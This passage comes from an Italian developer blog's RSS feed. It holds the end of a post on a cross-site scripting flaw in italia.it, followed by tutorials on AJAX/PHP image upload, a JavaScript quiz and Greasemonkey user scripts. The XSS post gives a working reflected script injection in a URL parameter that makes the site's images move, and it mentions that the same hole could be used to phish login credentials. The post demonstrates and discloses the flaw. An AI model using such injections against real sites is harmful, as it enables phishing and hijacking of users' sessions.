<li><a href="http://www.italia.it/it/scout/text/5,it,SCH1/objectId,RGN8it,selectedEntry,home.html/result.html?scope=%22%3Cscript%3ER=0;%20x1=.1;%20y1=.05;%20x2=.25;%20y2=.24;%20x3=1.6;%20y3=.24;%20x4=300;%20y4=200;%20x5=300;%20y5=200;%20DI=document.getElementsByTagName(%22img%22);%20DIL=DI.length;%20function%20A(){for(i=0;%20i-DIL;%20i%2B%2B){DIS=DI[%20i%20].style;%20DIS.position='absolute';%20DIS.left=(Math.sin(R*x1%2Bi*x2%2Bx3)*x4%2Bx5)%2B%22px%22;%20DIS.top=(Math.cos(R*y1%2Bi*y2%2By3)*y4%2By5)%2B%22px%22}R%2B%2B}setInterval('A()',5);%20void(0);%3C/script%3E" target="_blank"><strong>Secondo link</strong></a>, che rende il sito, come dire, più dinamico, se possibile, di quello che è <img src='http://www.jhack.it/blog/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' />  (record personale di incisi in una frase così corta!). In questo caso, se non funzionasse il link, immaginatevi le immagini del sito che danzano per lo schermo.</li>
</ol>
<p>Capirete quante altre porcate si possano fare e come si possa <strong>manipolare</strong> <strong>l'informazione</strong>. Quello che vi ho mostrato è più simpatico che dannoso, ma si fa presto a pensare ad un problema ben più grave: se ci fosse un form di login, sarebbe molto facile <strong>redirigere</strong> i dati inseriti dagli utenti (username e password) verso di me, attuando ciò che viene denominato <strong><a href="http://it.wikipedia.org/wiki/Phishing">phishing</a></strong>.</p>
<p><strong>AGGIORNAMENTO</strong>: ieri hanno finalmente hanno corretto questo grossolano bug, comunque potete vedere sempre lo screenshot del primo link <img src='http://www.jhack.it/blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> .</p>
<p>Nessun post attinente.</p>]]></content:encoded>
			<wfw:commentRss>http://www.jhack.it/blog/2007/02/25/italiait-applicazione-pratica-di-xss/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>AJAX+PHP = si vola!</title>
		<link>http://www.jhack.it/blog/2006/09/19/ajaxphp-si-vola/</link>
		<comments>http://www.jhack.it/blog/2006/09/19/ajaxphp-si-vola/#comments</comments>
		<pubDate>Tue, 19 Sep 2006 12:17:58 +0000</pubDate>
		<dc:creator>Jhack</dc:creator>
				<category><![CDATA[AJAX]]></category>
		<category><![CDATA[Creazioni]]></category>
		<category><![CDATA[Informatica]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Portfolio]]></category>
		<category><![CDATA[Tutorial]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[Web 2.0]]></category>

		<guid isPermaLink="false">http://www.jhack.it/blog/?p=63</guid>
		<description><![CDATA[Con questo articolo/tutorial voglio spiegare come sia possibile modificare un elemento di una pagina web al volo, in particolare un'immagine (il background del sito stesso) utilizzando un file presente sul proprio hard disk. Naturalmente la stessa tecnica è applicabile in altre situazioni che richiedano l'utilizzo di un file che si trova solamente sul proprio hard <a href="http://www.jhack.it/blog/2006/09/19/ajaxphp-si-vola/#more-63" class="more-link">Continue reading &#8594;</a>
Nessun post attinente.]]></description>
			<content:encoded><![CDATA[<p>Con questo articolo/tutorial voglio spiegare come sia possibile <strong>modificare un elemento di una pagina web</strong> <em><strong>al volo</strong></em>, in particolare un'immagine (il background del sito stesso) <strong>utilizzando un file presente sul proprio hard disk</strong>. Naturalmente la stessa tecnica è applicabile in altre situazioni che richiedano l'utilizzo di un file che si trova solamente sul proprio hard disk e non sia raggiungibile tramite un URL.</p>
<p><span id="more-63"></span><br />
Chi conosce già <strong>AJAX</strong> può saltare la breve introduzione.</p>
<p><strong>&lt;INTRODUZIONE&gt;<br />
</strong><br />
<strong>AJAX</strong> è un acronimo che significa <strong>Asynchronous Javascript And XML</strong> (ovvero Javascript asincrono ed XML) è ha fatto la sua comparsa il 18/02/2005 in un post di <strong>Jesse Garrett</strong> all'interno del <a href="http://www.adaptivepath.com/publications/essays/archives/000385.php" target="_blank" title="Jesse Garrett's Blog">blog</a>.</p>
<p>Benché l'acronimo sia nuovo, <strong>non si tratta una nuova invenzione o di una nuova tecnologia</strong>, ma una modalità avanzata nell'utilizzo di Javascript per sviluppare applicativi client-side capaci di comunicare col lato server in modo <strong>veloce</strong> e soprattutto <strong>asincrono</strong>, in particolare senza la necessità di ricaricare interamente le pagine, ma semplicemente parti di esse.</p>
<p>Esempi celeberrimi dell'utilizzo di AJAX sono gli strumenti che <strong>Google</strong> mette a disposizione, quali <strong><a href="http://labs.google.com/suggest" title="Google Suggesst" target="_blank">Google Suggest</a></strong>, <strong><a href="http://gmail.google.com/" title="Gmail" target="_blank">Gmail</a> o <a href="http://maps.google.it/" title="Google Maps" target="_blank">Google Maps</a>.</strong></p>
<p>Nel <strong>1998 Microsoft</strong> cominciò a sviluppare una tecnologia, chiamata <strong><a href="http://www.aspitalia.com/articoli/remotescripting.aspx" title="Remote Scripting" target="_blank"><strong>Remote Scripting</strong></a></strong>, che in pratica era molto simile ad AJAX, ma sotto altro nome. Tuttavia il successo si ebbe solo con il clamore suscitato dalle capacità degli applicativi sviluppati da Google in termini di accessibilità ed usabilità, caratteristiche non tenute in considerazione con tecnologie quali Flash ed Applets.</p>
<p>Per ulteriori informazioni rimando a <a href="http://it.wikipedia.org/wiki/AJAX" title="AJAX Wikipedia" target="_blank">questo link</a>.</p>
<p><strong>&lt;/INTRODUZIONE&gt;</strong></p>
<p>Come ho già accennato, lo scopo che mi ero preposto era di permettere all'utente che visitasse il mio sito web (<a href="http://gboccard.web.cs.unibo.it/" title="Giacomo Boccardo's Homepage" target="_blank">http://gboccard.web.cs.unibo.it/</a>) di modificare l'immagine di sfondo a suo piacimento, ma utilizzando <strong>un file presente sul proprio hard disk e non raggiungibile in alcun modo tramite un URL</strong>. La difficoltà risiede proprio in questa scelta, poiché con Javascript, per ovvi motivi di sicurezza, non si ha la possibilità di accedere a file presenti sull'hard disk dell'utente che visita la pagina web che non siano <a href="http://it.wikipedia.org/wiki/Cookie" title="Cookie Wikipedia" target="_blank">Cookie</a>.</p>
<p>Quindi il primo passo è stato trovare un modo per poter inviare un file: la scelta è stata abbastanza ovvia ed obbligata, cioè l'utilizzo di un form come il seguente:</p>
<blockquote><p>&lt;<strong>form</strong> name="formChangeLogo" id="formChangeLogo" <strong>action</strong>= "<strong>http://gboccard.web.cs.unibo.it/cgi-bin/base64converter.php5</strong>" <strong>method</strong>="<strong>post</strong>" <strong>enctype</strong>="<strong>multipart/form-data</strong>"&gt;</p>
<p>Scegli un nuovo background:&lt;<strong>input</strong> id="formChangeFile" name="file" <strong>type</strong>="<strong>file</strong>"&gt;&lt;br /&gt;</p>
<p>&lt;<strong>input</strong> name="submit" value="Muta!" <strong>type</strong>="<strong>submit</strong>" /&gt;</p>
<p>&lt;/<strong>form</strong>&gt;</p></blockquote>
<p>L'elemento <strong>input</strong> di tipo <strong>file</strong><strong> </strong>è il classico pulsante con la scritta di default "Sfoglia..." o "Browse..." che permette di selezionare un file presente sul proprio file system. Ma cosa succede se si preme il pulsante <strong>input</strong> di tipo <strong>submit</strong>? Si causa l'invio del file all'URL indicato nell'attributo <span style="font-weight:bold;">action</span> dell'elemento <span style="font-weight:bold;">form</span> (di questo tratterò dopo) ma, purtroppo, anche il ricaricamento della pagina e questo è esattamente ciò che voglio <span style="font-weight:bold;">evitare</span>. La soluzione più ovvia, forse l'unica, che mi è venuta in mente è di introdurre il form all'interno di un <span style="font-weight:bold;">iframe </span>nascosto in modo tale che l'invio avvenga in modo trasparente all'utente e soprattutto senza la necessità di ricaricare la pagina. Quello che si ottiene è un iframe contenente il seguente codice:</p>
<blockquote><p>&lt;html&gt;<br />
&lt;head&gt;&lt;/head&gt;<br />
&lt;body&gt;</p>
<p>&lt;<strong>form</strong> name="formChangeLogo" id="formChangeLogo" <strong>action</strong>= "<strong>http://gboccard.web.cs.unibo.it/cgi-bin/base64converter.php5</strong>" <strong>method</strong>="<strong>post</strong>" <strong>enctype</strong>="<strong>multipart/form-data</strong>"&gt;</p>
<p>Scegli un nuovo background:&lt;<strong>input</strong> id="formChangeFile" name="file" <strong>type</strong>="<strong>file</strong>"&gt;&lt;br /&gt;</p>
<p>&lt;<strong>input</strong> name="submit" value="Muta!" <strong>type</strong>="<strong>submit</strong>" /&gt;</p>
<p>&lt;/<strong>form</strong>&gt;</p>
<p>&lt;/body&gt;<br />
&lt;/html&gt;</p></blockquote>
<p>Il problema del ricaricamento della pagina è risolto, ora resta da vedere <span style="font-weight:bold;">come far sì che il client riceva il file che ha inviato al server</span>, ovvero allo script <span style="font-weight:bold;">PHP </span><a href="http://gboccard.web.cs.unibo.it/cgi-bin/base64converter.php5" target="_blank" title="Non visitatemi!"><span style="font-style:italic;">http://gboccard.web.cs.unibo.it/cgi-bin/base64converter.php5</span></a> (non visitate questo link, ha solo un senso nell'ottica di ricevere dati inviati in <span style="font-weight:bold;">POST</span> dal form descritto, ma <a href="http://gboccard.web.cs.unibo.it/cgi-bin/base64converter.php5" title="Codice PHP in versione testuale" target="_blank"><span style="font-style:italic;">http://gboccard.web.cs.unibo.it/base64converter.php5.txt</span></a>). Qui <strong>entra in gioco lo script PHP</strong>, il quale rimanda al client lo stesso contenuto dell'iframe (cioè il form), in modo da poter essere utilizzato ancora, ma soprattutto:</p>
<ul>
<li>la versione convertita in <strong><a href="http://en.wikipedia.org/wiki/Base64" title="base64 Wikipedia" target="_blank">base64</a></strong> dell'immagine, in modo tale da poter essere <em>embedded</em> all'interno del codice Javascript, ottenuta tramite il comando <strong>base64_encode</strong>;</li>
<li>una chiamata ad una funzione Javascript, in modo tale da causare <strong>automaticamente</strong> la modifica dell'immagine nel momento in cui la risposta giunge dal server al client.</li>
</ul>
<p>Il codice che svolge tale funzione è, in particolare, il seguente:</p>
<blockquote><p>$tmpName  = <strong>$_FILES</strong>['<strong>file</strong>']['tmp_name']; // si riceve il file lato server<br />
$fileSize = $_FILES['<strong>file</strong>']['size'];</p>
<p>$fp = fopen($tmpName, 'r');<br />
$content = <strong>fread</strong>($fp, $fileSize); // si legge il file lato server</p>
<p>$embeddedPic=<strong>base64_encode</strong>($content); // si converte il file in base64</p>
<p>// si crea uno script Javascript che contiene nella variabile embeddedPic il file convertito in base64 e si crea una chiamata ad una funzione Javascript già presente lato client</p>
<p>$script = &lt;&lt;&lt;END<br />
<strong>    &lt;script&gt;<br />
var embeddedPic = "data:image/*;base64,$embeddedPic";<br />
top.window.changeLogo(embeddedPic);<br />
&lt;/script&gt;</strong><br />
END;</p>
<p>// si invia lato client l'intero contenuto dell'iframe con l'aggiunta del codice Javascript appena creato</p>
<p>echo &lt;&lt;&lt;END<br />
&lt;html&gt;<br />
&lt;head&gt;<br />
<strong>    $script</strong><br />
&lt;/head&gt;</p>
<p>// segue il resto della pagina contenente l'iframe</p>
<p>END;</p></blockquote>
<p>A questo punto <strong>il gioco è fatto</strong>: all'arrivo del codice generato lato server dallo script PHP, viene invocata la funzione  Javascript <strong>changeLogo</strong>, già presente lato client che, nell'esempio che ho illustrato, non fa altro che modificare il background del body:</p>
<blockquote><p>function changeLogo(base64image)<br />
{<br />
document.body.style.backgroundImage="url("+base64image+")";<br />
}</p></blockquote>
<p>Per concludere, faccio notare che il file inviato al server non viene in alcun modo salvato, ma solamente letto e rimandato al client. Questo evita di dover adottare delle politiche di cancellazione dei file inviati dagli utenti.</p>
<p><strong>Mi piacerebbe avere dei pareri riguardo questa tecnica e, soprattutto, se esiste un modo meno macchinoso per ottenere lo stesso risultato, rispettando tutte le restrizioni che ho rilevato e illustrato.</strong></p>
<p>Nessun post attinente.</p>]]></content:encoded>
			<wfw:commentRss>http://www.jhack.it/blog/2006/09/19/ajaxphp-si-vola/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Che è?</title>
		<link>http://www.jhack.it/blog/2006/09/17/che-e/</link>
		<comments>http://www.jhack.it/blog/2006/09/17/che-e/#comments</comments>
		<pubDate>Sun, 17 Sep 2006 11:24:53 +0000</pubDate>
		<dc:creator>Jhack</dc:creator>
				<category><![CDATA[Creazioni]]></category>
		<category><![CDATA[Giochi]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Quiz]]></category>

		<guid isPermaLink="false">http://www.jhack.it/blog/?p=56</guid>
		<description><![CDATA[Un simpatico "indovinello animato" scritto in Javascript: http://gboccard.web.cs.unibo.it/chee.html Provate a capire di cosa si tratta osservandolo e, se proprio non ce la fate, procedete cliccando sui vari indizi (hint), che ho ordinato in modo tale da condurre alla soluzione svelando parti sempre più chiare del "meccansimo". Nessun post attinente.
Nessun post attinente.]]></description>
			<content:encoded><![CDATA[<p>Un simpatico "indovinello animato" scritto in Javascript:</p>
<p><span id="more-56"></span></p>
<p align="center"><a href="http://gboccard.web.cs.unibo.it/chee.html" title="Che è?" target="_blank">http://gboccard.web.cs.unibo.it/chee.html</a></p>
<p align="left">Provate a capire di cosa si tratta osservandolo e, se proprio non ce la fate, procedete cliccando sui vari indizi (<em>hint</em>), che ho ordinato in modo tale da condurre alla soluzione svelando parti sempre più chiare del "meccansimo".</p>
<p>Nessun post attinente.</p>]]></content:encoded>
			<wfw:commentRss>http://www.jhack.it/blog/2006/09/17/che-e/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Il Panda Rosso e il Meccanico</title>
		<link>http://www.jhack.it/blog/2006/09/16/il-panda-rosso-e-il-meccanico/</link>
		<comments>http://www.jhack.it/blog/2006/09/16/il-panda-rosso-e-il-meccanico/#comments</comments>
		<pubDate>Sat, 16 Sep 2006 13:36:35 +0000</pubDate>
		<dc:creator>Jhack</dc:creator>
				<category><![CDATA[Browser]]></category>
		<category><![CDATA[Creazioni]]></category>
		<category><![CDATA[Informatica]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Mozilla Firefox]]></category>
		<category><![CDATA[Portfolio]]></category>
		<category><![CDATA[Tutorial]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://www.jhack.it/blog/?p=52</guid>
		<description><![CDATA[Greasemonkey (tradotto significa meccanico) è un'extension scritta per il browser Mozilla Firefox (per chi non lo sapesse, la parola Firefox è una traduzione letterale dal cinese e significa panda rosso) che permette di utilizzare degli script che modificano "al volo" determinate pagine web tramite l'utilizzo di Javascript. Di per sè, questa estensione non fa altro <a href="http://www.jhack.it/blog/2006/09/16/il-panda-rosso-e-il-meccanico/#more-52" class="more-link">Continue reading &#8594;</a>
Nessun post attinente.]]></description>
			<content:encoded><![CDATA[<p><strong><a href="http://greasemonkey.mozdev.org/" title="Greasemonkey" target="_blank">Greasemonkey</a></strong> (tradotto significa <em>meccanico</em>) è un'extension scritta per il browser <strong><a href="http://www.spreadfirefox.com/?q=affiliates&amp;id=169787&amp;t=64" title="Mozilla Firefox" target="_blank">Mozilla Firefox</a></strong> (per chi non lo sapesse, la parola Firefox è una traduzione letterale dal cinese e significa <em>panda rosso</em>) che permette di utilizzare degli script che modificano "al volo" determinate pagine web tramite l'utilizzo di Javascript.</p>
<p>Di per sè, questa estensione non fa altro che eseguire del codice Javascript contenuto in quelli che vengono definiti <strong><em>user script</em></strong>. Gli <em>user script</em> contengono un riferimento alle pagine web al caricamento delle quali deve essere eseguito il codice Javascript contenuto negli stessi.</p>
<p><span id="more-52"></span><br />
Gli utilizzi classici possono essere:</p>
<ul>
<li><strong>rimuovere annunci pubblicitari e/o popup</strong>;</li>
<li>dare la possibilità di <strong>salvare video</strong> presenti su <a href="http://en.wikipedia.org/wiki/YouTube" title="YouTube">YouTube</a> o <a href="http://en.wikipedia.org/wiki/Google_Video" title="Google Video">Google Video</a>;</li>
<li><strong>aggiungere </strong>o <strong>rimuovere </strong>caratteristiche legate all'accessibilità (come <strong>link </strong>per raggiungere più velocemente una pagina o rimuovere link mai utilizzati);</li>
<li><strong>modificare </strong>la <strong>struttura </strong>(layout) e la <strong>presentazione </strong>(skin) di una pagina a proprio piacimento;</li>
<li><strong>riempire </strong>automaticamente <strong>dei form</strong>;</li>
<li>visitando un sito commerciale, dare la possibilità di vedere i prezzi degli stessi prodottti presenti su altri siti;</li>
<li>...e l'elenco può essere infinito.</li>
</ul>
<p>I passi fondamentali da seguire per installare questa estensione sono descritti in modo molto user-friendly sul sito ufficiale <a href="http://greasemonkey.mozdev.org/" title="Greasemonkey" target="_blank">http://greasemonkey.mozdev.org/</a>, quindi non mi dilungo.</p>
<p>Piuttosto passerei ad analizzare lo <strong>scheletro </strong>di uno <em>user script</em>, utilizzando come esempio uno semplice che ho scritto per modificare il sito <a href="http://www.repubblica.it" title="Repubblica.it" target="_blank">Repubblica.it</a> reperibile all'indirizzo:</p>
<p align="center"><a href="http://gboccard.web.cs.unibo.it/js/greasemonkey/repubblicaMOD.user.js" title="Sito di Giacomo Boccardo - Javascript - RepubblicaMOD" target="_blank">http://gboccard.web.cs.unibo.it/js/greasemonkey/repubblicaMOD.user.js </a></p>
<p>Innanzittuto, il <strong>nome dello script</strong> deve terminare con l'<strong>estensione </strong>"<em>.user.js</em>". Questo fa sì che, una volta installata l'extension, Firefox riconosca la natura dello script e aggiunga in alto a destra nella pagina un bottone (Install) che permette semplicemente di installare lo script.</p>
<p>La prima parte dello script contiene i <strong>metadati </strong>che descrivono lo script stesso:</p>
<blockquote><p>// ==UserScript==<br />
// @name          Repubblica.it MOD<br />
// @namespace     http://gboccard.web.cs.unibo.it<br />
// @description   Alcune modifiche al sito Repubblica.it<br />
// @include       http://*.repubblica.it<br />
// ==/UserScript==</p></blockquote>
<p>Le differenti parti sono:</p>
<ul>
<li>il cosiddetto <strong>wrapper</strong> è la sezione che contiene tutti gli altri metadati; può essere introdotta in qualsiasi posizione sensata nello script, ma è buona norma metterla all'inizio; inoltre deve rispettare esattamente la seguente sintassi:</li>
<blockquote><p>// ==UserScript==<br />
// ...<br />
// ==/UserScript==</p></blockquote>
<li><strong>@name</strong> permette di indicare il nome dello script, così come verrà mostrato quando lo si installa o lo si gestisce in un'apposita finestra. Benché sia opzionale, è assolutamente consigliato specificare un nome, possibilmente corto, altrimenti di default viene utilizzato il nome del file privato dell'estensione "<em>.user.js</em>";</li>
<li><strong>@namespace</strong> consente di fornire un URL per differenziare script aventi lo stesso nome, ma creati da autori differenti. Nonostante sia opzionale, conviene specificarlo, altrimenti di default si assume quello del dominio da cui viene scaricato lo script;</li>
<li><strong>@description </strong>è una descrizione delle funzionalità dello script. Pur essendo opzionale, è buona norma inserirla per dar modo all'utente di capire la funzione che svolge lo script: non si può assumere che l'utente debba capire dal codice cosa è in grado di fare lo script;</li>
<li><strong>@include </strong>serve a specificare alla visita di quali siti deve essere eseguito lo script; per specificare più URL (senza l'uso di wildcard) bisogna <strong>ripetere il metadato su più righe</strong>; inoltre, è possibile utilizzare la wildcard "*" per indicare un match con una qualsiasi sequenza di caratteri (anche nulla): ad esempio, <em>http://*.repubblica.it</em> fa match con tutte le pagine aventi un URL che inizia con "<em>http://</em>", che prosegue con una qualsiasi sequanza di caratteri (quindi, ad esempio, <em>www</em>, <em>multimedia</em>, <em>finanza</em>, ecc.) e che termina con la stringa "<em>.repubblica.it</em>". Anche questo metadato è opzionale, ma se non lo si mette assume di default il valore "*", causando l'esecuzione dello script su tutti i siti;</li>
<li><strong>@exclude </strong>utilizza la stessa sintassi di @include, ma serve, come dice il nome, ad escludere uno o più siti dall'esecuzione dello script.</li>
</ul>
<p>La parte restante dello script non è altro che codice Javascript con l'aggiunta di <a href="http://diveintogreasemonkey.org/api/index.html" title="Greasemonkey API" target="_blank">nuove API</a> introdotte da Greasemonkey, che facilitano alcune operazioni comuni.</p>
<p>Per chi è alle prime armi con Javascript, una riflessione <strong>fondamentale</strong>: gli <em>user script</em> vengono eseguiti <strong>mentre </strong>viene caricata la pagina, quindi non è detto necessariamente che tutti gli elementi su cui compiono le operazioni per cui sono scritti siano presenti nella pagina nel momento dell'esecuzione. Questo naturalmente causa il malfunzionamento dello <em>user script</em> stesso. Il problema si risolve semplicemente associando all'evento <strong>onload </strong>della pagina una chiamata a funzione: tale funzione verrà invocata solamente quando l'intera pagina è stata caricata completamente. Per fare ciò consiglio di utilizzare questa funzione (utilizzabile anche in altri contesti, poiché cross-browser):</p>
<blockquote>
<pre>function addEvent(obj, evType, fn){
   if(obj.addEventListener)
       obj.addEventListener(evType, fn, false);
   else if(document.addEventListener &amp;&amp; obj == window)
       document.addEventListener(evType, fn, false);
   else {
       if(!obj[evType]) obj[evType] = new Array;
       if(!obj[fn]) obj[fn] = fn;
       obj[evType][obj[evType].length] = obj[fn];
       obj["on" + evType] = function(){
           for(var i = 0; i &lt; obj[evType].length; i++){
               obj[obj[evType][i]](window.event);
           }
       };
   }
}</pre>
</blockquote>
<p>Come si può veder dal mio <em>user script</em> di esempio, tale funzione viene invocata così:</p>
<blockquote>
<pre>addEvent(window, "load", jackallOnLoad);</pre>
</blockquote>
<p>e l'unico parametro da modificare per i propri scopi è il terzo, che deve essere il nome della funzione da invocare quando la pagina è completamente caricata.</p>
<p>Per chi non avesse intuito cosa fa il mio <em>user script</em>, le azioni sono semplici, ovvero si limita a centrare il contenuto della pagina principale del sito:</p>
<blockquote>
<pre>document.getElementsByTagName("body")[0].
     getElementsByTagName("table")[0].style.margin="auto";</pre>
</blockquote>
<p>e modificare il logo principale in tutte le pagine che lo contengono:</p>
<blockquote>
<pre>document.getElementById("brand").
     getElementsByTagName("img")[0].src=newLogo;</pre>
<pre></pre>
</blockquote>
<p>Per chi fosse curioso, quella <em>roba strana</em> assegnata alla variabile <em>newLogo </em>è una immagine jpeg convertita in <a href="http://en.wikipedia.org/wiki/Base64" title="base64" target="_blank">base64</a>, in modo da poter essere <em>embedded </em>nel codice Javascript.</p>
<p>Uno script carino e più utile è questo:</p>
<p align="center"><a href="http://gboccard.web.cs.unibo.it/js/greasemonkey/googleX.user.js" title="User script googleX" target="_blank">http://gboccard.web.cs.unibo.it/js/greasemonkey/googleX.user.js</a></p>
<p align="left">viene applicato alle pagine di Google e sostituisce la barra contenente i radio button <em>Web</em>, <em>Immagini</em>, <em>Gruppi</em>, ecc. con una <strong>barra stile Mac</strong>:</p>
<p style="text-align:center;"><img src="http://jhack.wordpress.com/files/2006/09/greasemonkey-googlex.png" alt="greasemonkey-googlex.png" /></p>
<p>Non è una mia idea, ma ho speso un po' di tempo per adattare la versione che avevo trovato per farla funzionare con le nuove pagine di Google. Sicuramente da provare.</p>
<p>Eccovi una <em>linkografia </em>dei siti più o meno strettamenti correlati all'argomento:</p>
<ul>
<li><a href="http://greasemonkey.mozdev.org/" title="Greasemonkey" target="_blank">http://greasemonkey.mozdev.org/</a>: sito ufficiale dell'extension Greasemonkey;</li>
<li><a href="http://userscripts.org/" title="Userscripts.org" target="_blank">http://userscripts.org/</a>: sito di riferimento in cui vengono raccolti gli <em>user script;</em></li>
<li><a href="http://dunck.us/collab/GreaseMonkeyUserScriptsSpecific" title="Dunck.us" target="_blank">http://dunck.us/collab/GreaseMonkeyUserScriptsSpecific</a>: sito in cui gli script sono divisi in base al sito web cui si applicano;</li>
<li><a href="http://dunck.us/collab/GreaseMonkeyUserScriptsGeneric" title="Dunck.us" target="_blank">http://dunck.us/collab/GreaseMonkeyUserScriptsGeneric</a>: come sopra, ma si tratta di script di carattere generale, applicabili a più siti;</li>
<li><a href="http://diveintogreasemonkey.org/" title="Dive into Greasemonkey" target="_blank">http://diveintogreasemonkey.org/</a>: la migliore risorsa per chi vuole imparare a scrivere <em>user script</em>.</li>
</ul>
<p>Nessun post attinente.</p>]]></content:encoded>
			<wfw:commentRss>http://www.jhack.it/blog/2006/09/16/il-panda-rosso-e-il-meccanico/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
	</channel>
</rss>

